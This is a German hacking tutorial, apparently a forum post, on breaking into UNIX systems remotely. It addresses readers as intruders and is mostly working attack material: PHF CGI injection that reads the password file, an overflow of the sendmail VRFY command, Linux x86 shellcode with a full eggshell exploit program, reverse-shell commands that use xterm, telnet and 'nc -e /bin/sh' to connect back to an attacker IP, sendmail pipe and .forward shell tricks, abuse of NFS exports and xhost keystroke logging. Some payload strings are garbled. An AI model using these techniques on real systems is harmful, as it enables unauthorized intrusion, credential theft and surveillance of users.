Hallo, willkommen beim Tut über UNIX Fernzugriff, ich werde nicht auf alles genau eingehen, hab ja nicht die ganze Zeit Zeit! Also geschrieben ist es wieder mal vom Phantom Knight also known als Dr.Tiamat. Dr.Tiamat@gmx.de Wer einen job als hacker braucht, soll sich bei mir melden! Benutzt es nicht zu bösartigen Zwecken, es ist zum Erlernen eines UNIX-Systems erschaffen worden. Vorraussetzung: Natürlich muss das target-netzwerk irgendwie conected sein, sprich ppp, modem.... Ich werde mich hier auf der TCP/IP Basis beschränken, da das für die meisten von euch am interessantesten sein dürfte! Also, ihr könnt die Sicherheitslücken von UNIX durch folgende Methoden umgehen: * Ausnutzung eines aktiven TCP/UDP - Dienstes * Nutzung eines Leitwegs eines Systems, das mehrere Netzwerke securitymäßig verwaltet * Nutzt Benutzeraktivitäten aus (email, trojaner - keine standarts, sondern selbstgebaute) kurze Erklärung für die einzelnen Methoden: Ausnutzung eines Dienstes: Um dies ausnutzen zu können muss ein Dienst aktiv sein, sonst hilft euch nicht mal ein benutzername und passwort was, wie wollt ihr euch einwählen. Dienste, die ihr benützen könnt sind z.B. Telnet, rlogin, ftp, ssh..........) Leitweg: Wenn Dienste abgeblockt, geschlossen sind, dann schleust Pakete via Source- Routing rein. Das funzt, da IP-Forwarding im UNIXkernel aktiviert ist, obwohl die Firewall das eigentlich übernehmen und killen sollte! Firewall dient hier als Leitweg. Benutzeraktivitäten: z.B. über webgeschichten aufs System zugreifen. Macht eine HP, schreib bösen Code und hofft, das sich der root eure seite anschaut! Die Methoden, die euch zur Verfügung stehen. Nummer 1: Good old dirty Brute-Force. Eigentlich total uncool, aber manchmal wirksam! Alle dienste, die euch diesen Angriff ermöglichen sind: *Telnet *FTP *Die R-Befehlkette (rlogin, rsh ......) *Ssh *POP *HTTP/HTTPS Holt euch via finger, rusers, sendmail.. benutzerkonten und hofft entweder auf ein jokerkonto, auf jeden fall versuchen!!! Oder erobert die shell wie bruteforce. Tools, die nicht schlecht sind, sind: brute_web.c pop.c middlefinger Nummer 2: Angriff, die auf daten basieren. So, bruteforce ist, wie der name schon sagt, nicht die elleganteste methode, also passt auf. Kurzes Statement. Also, das ist die Übertragung von Daten auf einen aktiven Dienst, das löst für den Hacker, etwas schönen aus, was das sein kann. Seht doch selbst. Solche Angriffe können sein: Eingabegültigkeitsangriffe: Ein Beispiel dafür ist der berühmte PHF-Schwachstellenangriff. PHF ist ein Common Gateway Interface Script, wird von apache mitgeliefet. PHF nimmt die Sequenz für einen Zeilenumbruch (%0a) auf und jeden anschließenden Befehl mit den Privilegien der Benutzer-ID des Webservers. Bsp (die neueste Vers ist gepached). /cgi-bin/phf?Qalias=x%x0a/bin(cat%20/etc/passwd Hier wird cat mit der passwortdatei ausgeführt. Holt euch die pwd und versucht sie zu entschlüsseln. Wenn ihr glück habt ist der webserver nicht als nobody eingetragen! escaping-out kann natürlich für noch mehr benützt werden, lasst eure Phantasie spielen. Pufferüberläufe: Smashing the stack for fun and profit "alephOne" C-Funktionen mit denen ihr dies erreichen könnt sind *strcpy() *strcat() *sprintf() Ein Pufferüberlauf verursacht normal eine Speicherschutzverletzung. Kann man ausnutzten, natürlich auch lokal. Okay Overflowszenario: Nehmen wir an sendmail hat einen Puffer von der Länge 128 bit, und di suid root. Wenn wir jetzt statt eines benutzernamens diesen Befehl via vrfy an sendmail schicken, dann läuft dervrfy-puffer über und sendmail stürzt ab: Befehl dazu: echo "vrfy "perl -e "print "a" x 1000 " "" |nc www.ziel.com 25 okay, ihr fragt euch zu recht, was bringt mir das (wir sind ja hacker, keine cracker). Einen solchen DoSangriff kann ja jeder fahren. Aber: Aber wir schicken statt den 1000 a Coed, der den Puffer überlastet und der Befehl /bin/sh ausgeführt wird. Wenn das ausgeführt wird haben wir rootrechte, weil sendmail im root läuft. Also, wir schicken dem System Code, ja richtig, assembler. Ihr wollte Standartzeilen, sorry kann ich euch nicht anbieten. Lern Assembler und ihr werdet sehen, dass so ein "egg" betriebssystemabhängig ist. Okay, okay, wir sind hier im linux-forum, also hier der linuxX86 Code: char shellcode[] = "\xeb\xlf\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xbd\x89\xb8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff\bin\sh"; so da ist er! viel spass ach ja für euch zu fans da draußen hab ich was, wer assembler code braucht für andere OSes meldet euch bei mir! #include #include #include "shellcode.h" #define DEFAULT_OFFSET 0 #define DEFAULT_BUFFER_SIZE 512 #define DEFAULT_EGG_SIZE 2048 void usage(void); void main(int argc, char *argv[]) { char *ptr, *bof, *egg; long *addr_ptr, addr; int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; int i, n, m, c, align=0, eggsize=DEFAULT_EGG_SIZE; while ((c = getopt(argc, argv, "a:b:e:o:")) != EOF) switch (c) { case 'a': align = atoi(optarg); break; case 'b': bsize = atoi(optarg); break; case 'e': eggsize = atoi(optarg); break; case 'o': offset = atoi(optarg); break; case '?': usage(); exit(0); } if (strlen(shellcode) > eggsize) { printf("Shellcode is larger the the egg.\n"); exit(0); } if (!(bof = malloc(bsize))) { printf("Can't allocate memory.\n"); exit(0); } if (!(egg = malloc(eggsize))) { printf("Can't allocate memory.\n"); exit(0); } addr = get_sp() - offset; printf("[ Buffer size:\t%d\t\tEgg size:\t%d\tAligment:\t%d\t]\n", bsize, eggsize, align); printf("[ Address:\t0x%x\tOffset:\t\t%d\t\t\t\t]\n", addr, offset); addr_ptr = (long *) bof; for (i = 0; i < bsize; i+=4) *(addr_ptr++) = addr; ptr = egg; for (i = 0; i <= eggsize - strlen(shellcode) - NOP_SIZE; i += NOP_SIZE) for (n = 0; n < NOP_SIZE; n++) { m = (n + align) % NOP_SIZE; *(ptr++) = nop[m]; } for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; bof[bsize - 1] = '\0'; egg[eggsize - 1] = '\0'; memcpy(egg,"EGG=",4); putenv(egg); memcpy(bof,"BOF=",4); putenv(bof); system("/bin/sh"); } void usage(void) { (void)fprintf(stderr, "usage: eggshell [-a ] [-b ] [-e ] [-o ]\n"); } Zugang zur Shell: Also hier ein paar methoden wie man interaktiven zugriff auf die shell kriegt. Szenario Schutz durch Paketfilterfirewall oder durch router. Routing Firewall ist sehr wichtig bei diesem BSP kein Proxie! Die einzigen services die durchgelassen werden sind HttP Port 80, HTTPS Port 443 (Ein typischer Webserver). Webserver hat rechte des benutzers nobody, und hat phf sicherheitsloch. Wir können also nobodybefehle ausführen (kann man doch fast immer, keine sorge). Methode 1; Operation X Wenn wir die interaktive Shell erobern wollen, starten wir das X-Windows- System, dann sind wir multitasker. X-Client_progs sind sehr stabil und erlauben darstellung auf lokalen x-server oder remote x-servern, die auf den Ports 6000-6063 ausgeführt werden. X-Clients, die uns interessieren sind u.a. xterm, xterm (starten einer lokalen shell und X). Mit der option -display können wir dann die Ausgabe zu uns umleiten und fertig ist der remote-shell-zugriff. Um mehr zu tun als nur die PWD datei anzugeigen mpsst ihr diesen phf befehl ausführen: usr/X11R6/bin/xterm -ut -display dr.tiamat_IP:=.0 ergo: /cgi-bin/phf?Qalias=x%0a/usr/X11R6/bin/xterm%20-ut%20-display%20 dr.tiamat_IP:0.0 Dr.tiamat sollte ersetzt werden ;) ihr wisst schon Methode 2; Reverse Telnet und die Rückverbindung wenn nun der admin aber einer mit intellegenz ist, hat er vielleicht xterm vom server entfernt, dann geht die oben genannte methode natürlich nicht. Also richten wir - da alle ports bis auf 80 und 443 eine rückverbindung ein! a) über reverse telnet - die perfekte wahl telnet ist fast immer auf dem server und der client voll funzable um dies aufzubauen, könnten wir selben was basteln, aber nehmen wir doch nc, ein super uti. Da wir telnet vom Zielsystem aus starten, müssen wir nc-Empf- änger auf unserem Sys aktivieren. die folgenden befehle in 2 unter- schiedlichen Fenstern eingeben, um die reverse telnetverbindung aufzunehmen: nc -l -n -v -p 80 nc -l -n -v -p 25 Deaktiviert aktive Dienste wie HHTPD oder sendmail, wenn sie auf diesen ports laufen. Erklärung zu befehl: -l und -p = verbose-modus auf den beiden ports -n = lösen IP-Adressen nicht in Hostnamen auf PHF Angriff, um telnet zu starten normalerweiße: /bin/telnet dr.tiamat_IP 80 | /bin/sh | /bin/telnet dr.tiamat_IP 25 Umgetüfftelt auf phf /cgi-bin/phf?Qalias=x0a/bin/telnet%20dr.tiamat_IP%2080%20|%20/bin/sh%20| %20/bin/telnet%20dr.tiamat_IP%2025 Also und wieder einmal wird sich Phantom Knight alias Dr.Tiamat herabtun und euch die Scheiße erklären ;) /bin/telnet dr.tiamat_IP 80 baut Verbindung zu mir auf (ändern, klaro) hier gebe ich (ihr) die befehle ein, gemäß den konventionen für UNIX-Eingaben/- Ausgaben Tastaturasugabe auf /bin/telnet dr.Tiamat_IP 25 umgeleitet. Ergo, ein referse telnetsitzung in 2 Fenstern. Warum die beiden Prots - ihr könnt ja nach situation andere nehmen - gewählt wurden, na klar: Sind Standartdienste kommen durch die meisten Firewalls durch. andere Methode, wenn die binärdatei von nc schon auf dem server ist, können wir auch dies statt telnet benützen. (vielleicht könnt ihr es auch draufspielen ftp und co). Um eine Rückverbingung aufzubauen (Schalter -e) muss es aber schon viel glück in euerm leben geben (scheiß deutsch). Ihr müsst folgenden Befehl eingeben nc -l -n -v -p 80 Am remote sys muss dieser befehl ankommen: nc -e /bin/sh dr.tiamat_IP 80 über phf sieht das dann so aus: /cgi-bin/phf?Qalias=x%0a/bin/nc%20-e%20/bin/sh%20dr.tiamat_IP%2080 wenns hinhaut habt ihr die schell und das geilste: Der Server hats eingeleitet ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ So noch ein paar andere Schwachstellen: TFTP (Trivial File Transport Protocol) UDP 69. Wenn das Ding falsch konfiguriert ist (meine Erfahrung 40% -abnehmend), gibt uns der Server die pwd. Nett, gell! Neuer Versionen werden so konfiguriert, dass wir nur zugriff auf das Verzeichnis tftboot haben. Dort kriegen wir dann routerinfos und so .cfg ist ziemlich interessant! Wir kriegen dadurch auch SNMP- Community-Zeichenketten. FTP (wie oben bloss ohne Trivial) Wenn ihr - wir - glück haben, sprich einen admin ohne hirn treffen, lässt er den ftp-anonym auf alles zugreifen (chance gleich null), manche haben auch global beschreibbare Verzeichnisse, du kannst dann in home-verzeichnis von einem user eine rloging datei schreiben, das heißt wir können uns anmelden. Sendmail 80.000 Zeilen Code machen einiges möglich - bugmäßig - ! Es ist leider nicht möglich alle Sicherheitsprobs von sendmail hier zu dokumentieren, vielleicht - wenn ich zeit mal scheissen sollte, schreib ich ein tut - aber wenn ihr spezielle Fragen habt dr.tiamat@gmx.de hilft natürlich weiter. Hier ein KLEINER Auszug: Ganz nebenbei: Die Befehle vrfy und expn können zur Erkennung von Benutzer- namen eingesetzt werden. Ihr könnt Pufferüberläufe, Eingabegültigkeits- angreiffe ... benutzen. Sendmail 4.1: Die berühmte Pipe(|)Sicherheitslücke. Wir können Befehle hier direkt mit sendmails rechten (bin) ausführen. code: helo mail from; | rcpt to: bounce data . mail from: bin rctp to: | nov '23,/^$/d' | sh data ############################################################################# Wenn wir schreibrechte auf einem sys haben, dann können wir uns superuser rechte verschaffen, und zwar durch die Änderung von ~/.forward duch nfs oder ftp. Die forward datei ist normalerweiße für die Weiterleitung von emails an ein anderes Konto da. Aber ändert es mal so um: [dr.tiamat@system dr.tiamat] cat > .forward | "cp /bin/sh /home/dr.tiamat/cool_shell ; chmod 755 /home/dr.tiamat/ cool_shell" D [dr.tiamat@system dr.tiamat] cat > .forward | "cp /bin/sh /home/dr.tiamat/cool_shell ; chmod 755 /home/dr.tiamat/ cool_shell" ############################################################################# Danach die Datei .forward von cool ins zeilsystem. Danach schreibt ihr diese mail: [dr.tiamat@system dr.tiamat] echo hello servus mein mausi | mail dr.tiamat@zielsys.de Die Datei cool_shell wird im Homeverz des Benutzers erstellt. Bei Ausführung erzeugt sie eine shell mit den rechten der benutzerid. So, ich will nicht mehr telnetten. Bei Fragen, Versionsspezifika einfach melden. Remote Procedure Call-(RPC)Dienste Dies ist ein mechanismus, der einem porgramm - ausgeführt an einem anderen pc - die ausführung von orders an einem anderem sys erlaubt. XDR - extenal data representaion wurde für die interaktion mit dem nis und dem nfs entwickelt. jetz auch in vielen unix und linux zu finden. Da dies ein rpc dienst ist registriert er sich beim starten mit dem portmapper. Um den kontakt mit dem rpc dienst aufzunehmen müssen portmapper abfragen, um sicherzustellen auf welchem port der benötigte rpc dienst aktiviert wurde. über rpcinfo -n kann man eine liste der aktiven rpc dienste erhaltnen. rechte dieser dienste sind root. Bekannteste Sicherheitslücken dieses dienstes betrifft die pufferüberlaufe des rpc.ttdbserverd und rpc.cmsd, mit xterm oder reverse telnet können wir eine - nachdem erfolgreichen overflow - ein sitzung auf unser sys übertragen, schon ham mas. andere rpc dienste: rpc.statd mountd nur aktiv, wenn nfs eingschaltet ist. wenn ihr mehr beispiele für rpc seclücken wollte dr.tiamat@gmx.de hilft euch gern. Die dienste findet ihr meinstens in den hohen ports - nur wichtig falls portmapper nciht akiv ist. NFS Network file system (p.s. entschuldigt, dass ich immer faktischer werde, aber es ist schon verdammt früh, ich scheiß übrigens auch auf rechtsschreibung) ist eines der beliebtesten netzwerkfähigen dateisysteme, es ermöglicht den transparten zugriff auf dats und folders an remotesyses, als wären sie lokal gespeichert. NFS vers 3 ist momentan in den unixvariationen am weitesten verbreitet. Fast die ganze sicherheit bezieht sich auf filehandle, das ist ein token, das der Identifizierung einer datei und eiens folders am remote- server dient. Erkennt oder erratet ihr einen filehandle, habit ihr zugriff auf die dats des remotesystems. Die meisten sicherheitslücken entehen durch fehlerhafte konfiguration, hier weil meistens das dateisys für everyone exportiert wird. wir können das remotesystem ohne beglaugigung mounten. Fast immer sind die homever- zeichnisse für global freigeben manchmal aber auch / das freut uns natürlich am meisten. Hier ein Beispiel für euch hacker da draußen (cracker bitte wegschauen): Untersucht das zielsys um herauszufinden, ob NFS dort ausgeführt wird, und ob und welche Datsysteme exportiert wurden [root@dr.tiamat /root] rpcinfo -p quake program vers proto port 100000 4 tcp 111 rpcbind 100000 3 tcp 111 rpcbind 100000 2 tcp 111 rpcbind 100000 4 udp 111 rpcbind 100000 3 udp 111 rpcbind 100000 2 udp 111 rpcbind 100235 1 tcp 32771 100068 2 udp 32772 100068 3 udp 32772 100068 4 udp 32772 100024 5 upd 32772 100024 1 upd 32773 status 100024 1 tcp 32773 status 100083 1 tcp 32772 100021 1 udp 4045 nlockmgr 100021 2 udp 4045 nlockmgr 100021 3 udp 4045 nlockmgr 100021 4 upd 4045 nlockmgr 100021 1 tcp 4045 nlockmgr 100021 2 tcp 4045 nlockmgr 100021 3 tcp 4045 nlockmgr 100021 4 tcp 4045 nlockmgr 300598 1 udp 32780 300598 1 tcp 32775 . . . . . . . . . . . . . . . . geht noch ewig so weiter starten jetzt portmappper und erkennen, dass mountd und der nfs server aktiv sind. Dies sagt uns, dass target wahrscheinlich dateisys exportieren. [root@dr.tiamat / root] showmount -e quake Export list for quake: / (everyone) /usr (everyone) ######### jetzt müssen wir bloss noch das zeugs mounten und los gehts ein geiles toolchen dafür gibts wie immer bei mir heißen tuts nfsshell, es enthält einen client und vereinfacht die manipulation des remotedatsys. Schaut im tut für nfs nach, was man damit anstellen kann und wie es funzt, denn dies ist an dieser stelle sehr essentiell. X-Weaks xhost, ist bei xwindowsys eine beliebte beglaubigungsmethode. Zugriff wird über IP gesteuertund ist die schwächste Form der x-Beglaubigung. Manchmal akiviert ein admin den + schalter, sprich er gibt x für jeden benutzer frei (lokal und remote). Ein gutes prog um einen X-Server mit aktiviertem xhost + zu identifiziern ist xscan, es scuht komplette teilnetze nach offenen X-Servern ab und schreibt alle Tastaturfolgen in eine Protokolldatei. [dr.tiamat@dr.tiamat dr.tiamat] xscan pussy Scanning hostname pussy ... Connecting to pussy (XXX.XXX.XXX.XXX) on port 6000 ... Connected. Host pussy is running X. Startin keyboard logging of hos pussy:0.0 to file Keylogpussy:0.0... Ab jetzt werden alle Tastatureingaben der konsole in die Datei Keylogquake geschrieben. Mit tail können wir uns den shit anzeigen lassen. Fenster identifiziert ihr mit der hexid des fensters, indem er xlswins eingebt. [root@dr.tiamat /root] xlswins -display pussy:0.0 | grep -i netscape 0x1000001 (netscape) . 0x1000561 (netscape: OpenBSD) . . Um das Netzcapefenster am target zu erkennen folgender befehl bitte: [root@dr.tiamat /root] xwatchwin pussy -w 0x10000561 So das wars, ich bin müde und werde mich jetzt noch schnell liebevoll meiner Freundin widmen, ihr versteht das sicher. Bei fragen, beschimpfungen oder projektanfragne dr.tiamat@gmx.de Bis zum nächsten mal Tiamat